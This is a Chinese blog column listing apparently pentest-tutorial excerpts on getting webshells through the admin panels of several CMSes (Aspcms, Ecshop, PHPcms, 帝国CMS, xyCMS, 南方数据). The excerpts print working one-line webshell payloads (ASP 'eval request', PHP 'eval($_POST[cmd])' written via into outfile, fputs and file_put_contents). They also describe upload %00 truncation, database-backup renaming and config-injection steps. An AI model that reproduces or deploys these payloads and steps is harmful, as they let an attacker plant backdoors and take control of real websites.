![](https://img-blog.csdnimg.cn/20190918140037908.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
网站webshell
web安全
zxl2605
这个作者很懒,什么都没留下…
展开
-
LDAP未授权漏洞验证
LDAP未授权漏洞验证原创 2023-04-14 10:54:13 · 1806 阅读 · 0 评论 -
无忧企业系统的getshell
方法一:数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二:修改允许上传后缀,直接上传马原创 2022-04-02 20:43:10 · 3394 阅读 · 0 评论 -
南方数据后台的WEBSHEL
南方数据企业系统,后台上传截断拿webshell 在“新闻资讯”-“添加新闻”模块中,在“新闻图片”中点击“上传”按钮,会出现一个弹窗,复制弹窗的地址,在新标签页中打开 本地准备个asp类型的一句话木马:<%eval request("cmd")%> BurpSuite拦截 在路径后面添加 hack.asp%00 ,并对%00编码 进行URL编码之后,正常情况下应该出现一个有点像汉字“口”的东西,如果没有出现,就说明哪里出问题了。 (也完全可能是编码成功,只是字体原因导致原创 2022-04-02 14:31:39 · 499 阅读 · 0 评论 -
常见的cms
什么是CMS?CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。常见的CMS有哪些?asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;...原创 2022-04-02 14:25:46 · 758 阅读 · 0 评论 -
xyCMS框架的webshell
"%><%eval request("d")%><%s="在网站配置页面插入一句话。(注意一定要把前后内容闭合,不然整个网站都要崩溃) 插入结果。 shell工具连接 </article>...原创 2022-04-02 13:54:32 · 306 阅读 · 0 评论 -
Aspcms框架的webshell
文章目录 渗透测试-地基篇-Webshell-Aspcms框架(十)一、登录演示二、数据库备份拿webshell 一、登录演示 本次演示一种方法思路拿aspcms框架的webshell,该页面是用的是最新版本的aspcms框架自行搭建演示的。 1)登录地址:http://www.aspcms.com/admin_aspcms/ 2)登录后的页面: 二、数据库备份拿webshell 登录到扩展功能-数据库备份恢复: 首先打开内容维护中栏目都可以插入一句话,修改即可: 插入ut.原创 2022-04-02 13:46:23 · 352 阅读 · 0 评论 -
Ecshop框架的Webshell
一、登录情况 后台地址:127.0.0.1/ecshop/admin 因为后台没有放东西 嘛 所以就啥也没有 二、后台拿webshell三种思路演示 1:执行数据库命令拿webshell 首先需要找到可写入命令的页面: select '<;?php eval($_POST[1])?>;' into outfile' 最后经过测试?和into outfile都会报错 这里可以利用符号代替或者混淆的方式替换掉,最终的思路是写入一句话 在into outfile写入到原创 2022-04-02 10:07:35 · 258 阅读 · 0 评论 -
PHPcms框架的Webshell
登录界面 后台网址 www.phpcms.com/admin.php 进入主页面 代码注入拿webshell 接下来 我直接就上图了 写入一句话木马<?php file_put_contents('ooo.php',base64_de...原创 2022-04-02 09:58:49 · 250 阅读 · 0 评论 -
帝国CMS后台getshell
后台新增页面,写入webshell<?php fputs(fopen("shell.php","a"),'<?php phpinfo();@eval($_POST[cmd]);?>')?> 在后台查看文件写入成功 访问成功 shell工具连接成功 ...原创 2022-04-02 09:56:52 · 681 阅读 · 0 评论